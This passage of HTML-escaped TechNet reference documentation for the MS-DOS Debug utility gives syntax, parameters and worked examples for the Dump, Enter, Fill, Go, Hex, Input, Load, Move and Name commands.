and 197F:0306 are missing from the list. This means that the values in those addresses are identical.&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection125121120120"&gt;Debug: D (Dump)&lt;/h3&gt; &lt;p&gt;Displays the contents of a range of memory addresses.&lt;/p&gt; &lt;h4&gt;Syntax&lt;/h4&gt; &lt;p&gt; &lt;b&gt;d&lt;/b&gt; [&lt;i&gt;range&lt;/i&gt;]&lt;/p&gt; &lt;p&gt; &lt;b&gt;Parameter&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;range&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the starting and ending addresses, or the starting address and length, of the memory area whose contents you want to display. For information about valid &lt;i&gt;range&lt;/i&gt; values, see the &lt;b&gt;debug&lt;/b&gt; command. If you do not specify &lt;i&gt;range&lt;/i&gt;, Debug displays the contents of 128 bytes, starting at the end of the address range specified in the previous &lt;b&gt;d&lt;/b&gt; command.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Note&lt;/b&gt; &lt;/p&gt; &lt;p&gt;When you use the &lt;b&gt;d&lt;/b&gt; command, Debug displays memory contents in two portions: a hexadecimal portion (each byte value is shown in hexadecimal format) and an ASCII portion (each byte value is shown as an ASCII character). Each nonprinting character is denoted by a period (.) in the ASCII portion of the display. Each display line shows the contents of 16 bytes, with a hyphen between the eighth and ninth bytes. Each display line begins on a 16-byte boundary.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Examples&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Suppose you type the following command:&lt;/p&gt; &lt;pre&gt;dcs:100 10f&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Debug displays the the contents of the range in the following format:&lt;/p&gt; &lt;pre&gt;04BA:0100 54 4F 4D 00 53 41 57 59-45 52 00 00 00 00 00 00 TOM.SAWYER......&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;If you type the &lt;b&gt;d&lt;/b&gt; command without parameters, Debug formats the display as described in the previous example. Each line of the display begins with an address that is 16 bytes greater than the address on the previous line (or 8 bytes if you have a 40-column screen).&lt;/p&gt; &lt;p&gt;For each subsequent &lt;b&gt;d&lt;/b&gt; command you type without parameters, Debug displays the bytes immediately following those last displayed.&lt;/p&gt; &lt;p&gt;If you type the following command, Debug displays the contents of 20h bytes, starting at CS:100:&lt;/p&gt; &lt;pre&gt;dcs:100 l 20&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;If you type the following command, Debug displays the contents of all bytes in the range of lines from 100h through 115h in the CS segment:&lt;/p&gt; &lt;pre&gt;dcs:100 115&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;Related Commands&lt;/b&gt; &lt;/p&gt; &lt;p&gt;For information about displaying the contents of registers, see the Debug &lt;b&gt;r&lt;/b&gt; (Register) command.&lt;/p&gt; &lt;p&gt;For information about disassembling bytes, see the Debag&lt;b&gt; u&lt;/b&gt; (Unassemble) command.&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection126121120120"&gt;Debug: E (Enter)&lt;/h3&gt; &lt;p&gt;Enters data into memory at the address you specify.&lt;/p&gt; &lt;p&gt;You can type data in either hexadecimal or ASCII format. Any data previously stored at the specified address is lost.&lt;/p&gt; &lt;h4&gt;Syntax&lt;/h4&gt; &lt;p&gt; &lt;b&gt;e&lt;/b&gt; &lt;i&gt;address&lt;/i&gt; [&lt;i&gt;list&lt;/i&gt;]&lt;/p&gt; &lt;p&gt; &lt;b&gt;Parameters&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;address&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the first memory location where you want to enter data.&lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;list&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the data you want to enter into successive bytes of memory.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Notes&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Using the address parameter&lt;/b&gt; &lt;/p&gt; &lt;p&gt;If you specify a value for &lt;i&gt;address&lt;/i&gt; without specifying a value for the optional &lt;i&gt;list&lt;/i&gt; parameter, Debug displays the address and its contents, repeats the address on the next line, and waits for your input. At this point, you can perform one of the following actions:&lt;/p&gt; &lt;ul&gt;&lt;li&gt; &lt;p&gt;Replace the byte value. To do this, you type a new value after the current value. If the value you type is not a valid hexadecimal value or if it contains more than two digits, Debug does not echo the invalid or extra character.&lt;/p&gt; &lt;/li&gt;&lt;li&gt; &lt;p&gt;Advance to the next byte. To do this, you press the SPACEBAR. To change the value in that byte, type a new value after the current value. If you move beyond an 8-byte boundary when you press the SPACEBAR, Debug starts a new display line and displays the new address at the beginning of the line.&lt;/p&gt; &lt;/li&gt;&lt;li&gt; &lt;p&gt;Return to the preceding byte. To do this, you press the HYPHEN key. You can press the HYPHEN key repeatedly to move back more than 1 byte. When you press HYPHEN, Debug starts a new line and displays the current address and byte value.&lt;/p&gt; &lt;/li&gt;&lt;li&gt; &lt;p&gt;Stop the &lt;b&gt;e&lt;/b&gt; command. To do this, you press the ENTER key. You can press ENTER at any byte position.&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p&gt; &lt;b&gt;Using the list parameter&lt;/b&gt; &lt;/p&gt; &lt;p&gt;If you specify values for the &lt;i&gt;list&lt;/i&gt; parameter, the &lt;b&gt;e&lt;/b&gt; command sequentially replaces the existing byte values with the values from the list. If an error occurs, no byte values are changed.&lt;/p&gt; &lt;p&gt; &lt;i&gt;List&lt;/i&gt; values can be either hexadecimal byte values or strings. You separate values by using a space, a comma, or a tab character. You must enclose strings within single or double quotation marks.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Examples&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Suppose you type the following command:&lt;/p&gt; &lt;pre&gt;ecs:100&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Debug displays the contents of the first byte in the following format:&lt;/p&gt; &lt;pre&gt;04BA:0100 EB._&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;To change this value to 41, type &lt;b&gt;41&lt;/b&gt; at the cursor, as follows:&lt;/p&gt; &lt;pre&gt;04BA:0100 EB.41_&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;You can type consecutive byte values with one e command. Instead of pressing ENTER after typing the new value, press the SPACEBAR. Debug displays the next value. In this example, if you press the SPACEBAR three times, Debug displays the following values:&lt;/p&gt; &lt;pre&gt;04BA:0100 EB.41  10. 00. BC._&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;To change the hexadecimal value BC to 42, type &lt;b&gt;42&lt;/b&gt; at the cursor, as follows:&lt;/p&gt; &lt;pre&gt;04BA:0100 EB.41  10. 00. BC.42_&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Now suppose that you decide the value 10 should be 6F. To correct this value, press the HYPHEN key twice to return to address 0101 (value 10). Debug displays the following:&lt;/p&gt; &lt;pre&gt;04BA:0100 EB.41  10. 00. BC.42-&lt;br /&gt;04BA:0102  00.-&lt;br /&gt;04BA:0101  10._&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Type 6f at the cursor to change the value, as follows:&lt;/p&gt; &lt;pre&gt;04BA:0101  10.6f_&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Press ENTER to stop the e command and return to the Debug prompt.&lt;/p&gt; &lt;p&gt;The following is an example of a string entry:&lt;/p&gt; &lt;pre&gt;eds:100 "This is the text example"&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;This string will fill 24 bytes, starting at DS:100.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Related Commands&lt;/b&gt; &lt;/p&gt; &lt;p&gt;For information about assembling mnemonics, see the Debug &lt;b&gt;a&lt;/b&gt; (Assemble) command.&lt;/p&gt; &lt;p&gt;For information about displaying the contents of a portion of memory, see the Debug &lt;b&gt;d&lt;/b&gt; (Dump) command.&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection127121120120"&gt;Debug: F (Fill)&lt;/h3&gt; &lt;p&gt;Fills addresses in the specified memory area with values you specify.&lt;/p&gt; &lt;p&gt;You can specify data in either hexadecimal or ASCII format. Any data you previously stored at the specified address is lost.&lt;/p&gt; &lt;h4&gt;Syntax&lt;/h4&gt; &lt;p&gt; &lt;b&gt;f&lt;/b&gt; &lt;i&gt;range&lt;/i&gt; &lt;i&gt;list&lt;/i&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Parameters&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;range&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the starting and ending addresses, or the starting address and length, of the memory area you want to fill. For information about valid &lt;i&gt;range&lt;/i&gt; values, see the &lt;b&gt;debug&lt;/b&gt; command.&lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;list&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the data you want to enter. &lt;i&gt;List&lt;/i&gt; can consist of hexadecimal numbers or a string enclosed in quotation marks.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Notes&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Using the range parameter&lt;/b&gt; &lt;/p&gt; &lt;p&gt;If &lt;i&gt;range&lt;/i&gt; contains more bytes than the number of values in &lt;i&gt;list&lt;/i&gt;, Debug assigns the values in &lt;i&gt;list&lt;/i&gt; repeatedly until all bytes in &lt;i&gt;range&lt;/i&gt; are filled.&lt;/p&gt; &lt;p&gt;If any of the memory in &lt;i&gt;range&lt;/i&gt; is bad or doesn't exist, Debug displays an error message and stops the &lt;b&gt;f&lt;/b&gt; command.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Using the list parameter&lt;/b&gt; &lt;/p&gt; &lt;p&gt;If &lt;i&gt;list&lt;/i&gt; contains more values than the number of bytes in &lt;i&gt;range&lt;/i&gt;, Debug ignores the extra values in &lt;i&gt;list&lt;/i&gt;.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Example&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Suppose you type the following command:&lt;/p&gt; &lt;pre&gt;f04ba:100l100 42 45 52 54 41&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;In response, Debug fills memory locations 04BA:100 through 04BA:1FF with the values specified. Debug repeats the five values until all the 100h bytes are filled.&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection128121120120"&gt;Debug: G (Go)&lt;/h3&gt; &lt;p&gt;Runs the program currently in memory.&lt;/p&gt; &lt;h4&gt;Syntax&lt;/h4&gt; &lt;p&gt; &lt;b&gt;g&lt;/b&gt; [=&lt;i&gt;address&lt;/i&gt;] [&lt;i&gt;breakpoints&lt;/i&gt;]&lt;/p&gt; &lt;p&gt; &lt;b&gt;Parameters&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;=&lt;/b&gt; &lt;b&gt; &lt;i&gt;address&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the address in the program currently in memory at which you want execution to begin. If you do not specify &lt;i&gt;address&lt;/i&gt;, MS-DOS begins program execution at the current address in the CS:IP registers.&lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;breakpoints&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies 1 to 10 temporary breakpoints that you can set as part of the &lt;b&gt;g&lt;/b&gt; command.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Notes&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Using the address parameter&lt;/b&gt; &lt;/p&gt; &lt;p&gt;You must precede the &lt;i&gt;address&lt;/i&gt; parameter with an equal sign (=) to distinguish the starting address (&lt;i&gt;address&lt;/i&gt;) from the breakpoint addresses (&lt;i&gt;breakpoints&lt;/i&gt;).&lt;/p&gt; &lt;p&gt; &lt;b&gt;Specifying breakpoints&lt;/b&gt; &lt;/p&gt; &lt;p&gt;The program stops at the first breakpoint it encounters, regardless of where you typed that breakpoint in the &lt;i&gt;breakpoints&lt;/i&gt; list. Debug replaces the original instruction at each breakpoint with an interrupt code.&lt;/p&gt; &lt;p&gt;When the program reaches a breakpoint, Debug restores all breakpoint addresses to their original instructions and displays the contents of all registers, the status of all flags, and the decoded form of the last instruction executed. Debug displays the same information as it would display if you used the Debug &lt;b&gt;r&lt;/b&gt; (register) command and specified the breakpoint address.&lt;/p&gt; &lt;p&gt;If you do not stop the program at one of the breakpoints, Debug does not replace the interrupt codes with the original instructions.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Limitations on setting breakpoints&lt;/b&gt; &lt;/p&gt; &lt;p&gt;You can set breakpoints only at addresses containing the first byte of an 8086 operation code (opcode). If you set more than 10 breakpoints, Debug displays the following message:&lt;/p&gt; &lt;pre&gt;bp Error&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;Requirements for the user stack pointer&lt;/b&gt; &lt;/p&gt; &lt;p&gt;The user stack pointer must be valid and must have 6 bytes available for the &lt;b&gt;g&lt;/b&gt; command. This command uses an &lt;b&gt;iret&lt;/b&gt; instruction to jump to the program being tested. Debug sets the user stack pointer and pushes the user flags, the code segment register, and the instruction pointer onto the user stack. (If the user stack is not valid or is too small, the operating system might fail.) Debug places an interrupt code (0CCh) at the specified breakpoint address(es).&lt;/p&gt; &lt;p&gt; &lt;b&gt;Restarting a program&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Do not attempt to restart a program after MS-DOS displays the following message:&lt;/p&gt; &lt;pre&gt;Program terminated normally&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;To run the program properly, you must reload it by using the Debug &lt;b&gt;n&lt;/b&gt; (name) and &lt;b&gt;l&lt;/b&gt; (load) commands.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Examples&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Suppose you type the following command:&lt;/p&gt; &lt;pre&gt;gcs:7550&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;MS-DOS runs the program currently in memory up to the breakpoint address 7550 in the CS segment. Debug then displays the contents of the registers and the status of the flags and stops the &lt;b&gt;g&lt;/b&gt; command.&lt;/p&gt; &lt;p&gt;The following command sets two breakpoints:&lt;/p&gt; &lt;pre&gt;gcs:7550, cs:8000&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;If you type the &lt;b&gt;g&lt;/b&gt; command again after Debug encounters a breakpoint, execution begins at the instruction after the breakpoint, rather than at the usual starting address.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Related Commands&lt;/b&gt; &lt;/p&gt; &lt;p&gt;For information about executing a loop, a repeated string instruction, a software interrupt, or a subroutine, see the Debug &lt;b&gt;p&lt;/b&gt; (Proceed) command.&lt;/p&gt; &lt;p&gt;For information about executing one instruction, see the Debug &lt;b&gt;t&lt;/b&gt; (Trace) command.&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection129121120120"&gt;Debug: H (Hex)&lt;/h3&gt; &lt;p&gt;Performs hexadecimal arithmetic on two parameters you specify.&lt;/p&gt; &lt;h4&gt;Syntax&lt;/h4&gt; &lt;p&gt; &lt;b&gt;h&lt;/b&gt; &lt;i&gt;value1&lt;/i&gt; &lt;i&gt;value2&lt;/i&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Parameters&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;value1&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Represents any hexadecimal number in the range 0 through FFFFh.&lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;value2&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Represents a second hexadecimal number in the range 0 through FFFFh.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Note&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Debug first adds the two parameters you specify and then subtracts the second parameter from the first. The results of these calculations are displayed on one line — first the sum, then the difference.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Example&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Suppose you type the following command:&lt;/p&gt; &lt;pre&gt;h19f 10a&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Debug performs the calculations and displays the following result:&lt;/p&gt; &lt;pre&gt;02A9 0095&lt;br /&gt;&lt;/pre&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection130121120120"&gt;Debug: I (Input)&lt;/h3&gt; &lt;p&gt;Reads and displays one byte value from the port you specify.&lt;/p&gt; &lt;h4&gt;Syntax&lt;/h4&gt; &lt;p&gt; &lt;b&gt;i&lt;/b&gt; &lt;i&gt;port&lt;/i&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Parameter&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;port&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the input port by &lt;i&gt;address&lt;/i&gt;. The address can be a 16-bit value.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Example&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Suppose you type the following command:&lt;/p&gt; &lt;pre&gt;i2f8&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Suppose also that the byte value at the port is 42h. Debug reads the byte and then displays the value, as follows:&lt;/p&gt; &lt;pre&gt;42&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;Related Command&lt;/b&gt; &lt;/p&gt; &lt;p&gt;For information about sending the value of a byte to an output port, see the Debug &lt;b&gt;o&lt;/b&gt; (Output) command.&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection131121120120"&gt;Debug: L (Load)&lt;/h3&gt; &lt;p&gt;Loads a file or contents of specific disk sectors into memory.&lt;/p&gt; &lt;p&gt;To load the contents of the number of bytes specified in the BX:CX registers from a disk file, use the following syntax:&lt;/p&gt; &lt;h4&gt;Syntax l [address]&lt;/h4&gt; &lt;p&gt;To bypass the MS-DOS file system and directly load specific sectors, use the following syntax: &lt;b&gt;l&lt;/b&gt; address drive start number&lt;/p&gt; &lt;p&gt; &lt;b&gt;Parameters&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;address&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the memory location where you want to load the file or the sector contents. If you do not specify &lt;i&gt;address&lt;/i&gt;, Debug uses the current address in the CS register.&lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;drive&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the drive that contains the disk from which specific sectors are to be read. This value is numeric: 0 = A, 1 = B, 2 = C, and so on. You use the &lt;i&gt;drive&lt;/i&gt;, &lt;i&gt;start&lt;/i&gt;, and &lt;i&gt;number&lt;/i&gt; parameters only if you want to load the contents of specific sectors rather than load the file specified on the &lt;b&gt;debug&lt;/b&gt; command line or in the most recent Debug &lt;b&gt;n&lt;/b&gt; (name) command.&lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;start&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the hexadecimal number of the first sector whose contents you want to load.&lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;number&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the hexadecimal number of consecutive sectors whose contents you want to load.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Notes&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Using the l command without parameters&lt;/b&gt; &lt;/p&gt; &lt;p&gt;When you use the &lt;b&gt;l&lt;/b&gt; command without parameters, the file you specified on the &lt;b&gt;debug&lt;/b&gt; command line is loaded into memory, beginning at address CS:100. Debug also sets the BX and CX registers to the number of bytes loaded. If you did not specify a file on the &lt;b&gt;debug&lt;/b&gt; command line, the file loaded is the one you most recently specified by using the &lt;b&gt;n&lt;/b&gt; command.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Using the l command with the address parameter&lt;/b&gt; &lt;/p&gt; &lt;p&gt;If you use the &lt;b&gt;l&lt;/b&gt; command with the &lt;i&gt;address&lt;/i&gt; parameter, Debug begins loading the file or the contents of the specified sectors at the memory location &lt;i&gt;address&lt;/i&gt;.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Using the l command with all parameters&lt;/b&gt; &lt;/p&gt; &lt;p&gt;If you use the &lt;b&gt;l&lt;/b&gt; command with all parameters, Debug loads the contents of specific disk sectors instead of loading a file.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Loading the contents of specific sectors&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Each sector in the range you specify is read from &lt;i&gt;drive&lt;/i&gt;. Debug begins loading with &lt;i&gt;start&lt;/i&gt; and continues until the contents of the number of sectors specified in &lt;i&gt;number&lt;/i&gt; have been loaded.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Loading an .EXE file&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Debug ignores the &lt;i&gt;address&lt;/i&gt; parameter for .EXE files. If you specify an .EXE file, Debug relocates the file to the loading address specified in the header of the .EXE file. The header itself is stripped off the .EXE file before the file is loaded into memory, so the size of an .EXE file on disk differs from its size in memory. If you want to examine a complete .EXE file, rename the file with a different extension.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Opening a hex file&lt;/b&gt; &lt;/p&gt; &lt;p&gt;A &lt;i&gt;hex file&lt;/i&gt; is a file that uses the Intel hexadecimal format, as described in &lt;i&gt;The MS-DOS Encyclopedia&lt;/i&gt;. Debug assumes that files with the .HEX extension are hexadecimal-format files. You can type the &lt;b&gt;l&lt;/b&gt; command with no parameters to load a hex file beginning at the address specified in the hex file. If the &lt;b&gt;l&lt;/b&gt; command you type includes the &lt;i&gt;address&lt;/i&gt; parameter, Debug adds the specified address to the address found in the hex file to determine the starting address.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Examples&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Suppose you start Debug and type the following command:&lt;/p&gt; &lt;pre&gt;nfile.com&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;You can now type the &lt;b&gt;l&lt;/b&gt; command to load FILE.COM. Debug loads the file and displays the Debug prompt.&lt;/p&gt; &lt;p&gt;Suppose that you want to load the contents of 109 (6Dh) sectors from drive C, beginning with logical sector 15 (0Fh), into memory beginning at address 04BA:0100. To do this, type the following command:&lt;/p&gt; &lt;pre&gt;l04ba:100 2 0f 6d&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;Related Commands&lt;/b&gt; &lt;/p&gt; &lt;p&gt;For information about specifying a file for the &lt;b&gt;l&lt;/b&gt; command, see the Debug &lt;b&gt;n&lt;/b&gt; (Name) command.&lt;/p&gt; &lt;p&gt;For information about writing the file being debugged to a disk, see the Debug &lt;b&gt;w&lt;/b&gt; (Write) command.&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection132121120120"&gt;Debug: M (Move)&lt;/h3&gt; &lt;p&gt;Copies the contents of a block of memory to another block of memory.&lt;/p&gt; &lt;h4&gt;Syntax&lt;/h4&gt; &lt;p&gt; &lt;b&gt;m&lt;/b&gt; &lt;i&gt;range&lt;/i&gt; &lt;i&gt;address&lt;/i&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Parameters&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;range&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the starting and ending addresses, or the starting address and the length, of the memory area whose contents you want to copy.&lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;address&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the starting address of the location to which you want to copy the contents of &lt;i&gt;range&lt;/i&gt;.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Notes&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Effects of the copy operation on existing data&lt;/b&gt; &lt;/p&gt; &lt;p&gt;If the addresses in the block being copied do not have new data written to them, the original data remains intact. However, if the destination block already contains data (as it might in an &lt;i&gt;overlapping copy operation&lt;/i&gt;), that data is overwritten. (Overlapping copy operations are those in which part of the destination block overlaps part of the source block.)&lt;/p&gt; &lt;p&gt; &lt;b&gt;Performing overlapping copy operations&lt;/b&gt; &lt;/p&gt; &lt;p&gt;The &lt;b&gt;m&lt;/b&gt; command performs overlapping copy operations without losing data at the destination addresses. The contents of addresses that will be overwritten are copied first. Thus, if data is to be copied from higher addresses to lower addresses, the copy operation begins at the source block's lowest address and progresses toward the highest address. Conversely, if data is to be copied from lower addresses to higher addresses, the copy operation begins at the source block's highest address and progresses toward the lowest address.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Example&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Suppose you type the following command:&lt;/p&gt; &lt;pre&gt;mcs:100 110 cs:500&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Debug first copies the contents of address CS:110 to CS:510, then copies the contents of CS:10F to CS:50F, and so on until it has copied the contents of CS:100 to CS:500. To view the results, you can use the Debug &lt;b&gt;d&lt;/b&gt; (dump) command, specifying the destination address you used with the &lt;b&gt;m&lt;/b&gt; command.&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection133121120120"&gt;Debug: N (Name)&lt;/h3&gt; &lt;p&gt;Specifies the name of an executable file for a Debug &lt;b&gt;l&lt;/b&gt; (load) or &lt;b&gt;w&lt;/b&gt; (write) command, or specifies parameters for the executable file being debugged.&lt;/p&gt; &lt;h4&gt;Syntax&lt;/h4&gt; &lt;p&gt; &lt;b&gt;n&lt;/b&gt; [&lt;i&gt;drive&lt;/i&gt;&lt;b&gt;:&lt;/b&gt;][&lt;i&gt;path&lt;/i&gt;]&lt;i&gt;filename&lt;/i&gt;&lt;/p&gt; &lt;p&gt;To specify parameters for the executable file you are testing, use the following syntax:&lt;/p&gt; &lt;p&gt; &lt;b&gt;n&lt;/b&gt; &lt;i&gt;file-parameters &lt;/i&gt; &lt;/p&gt; 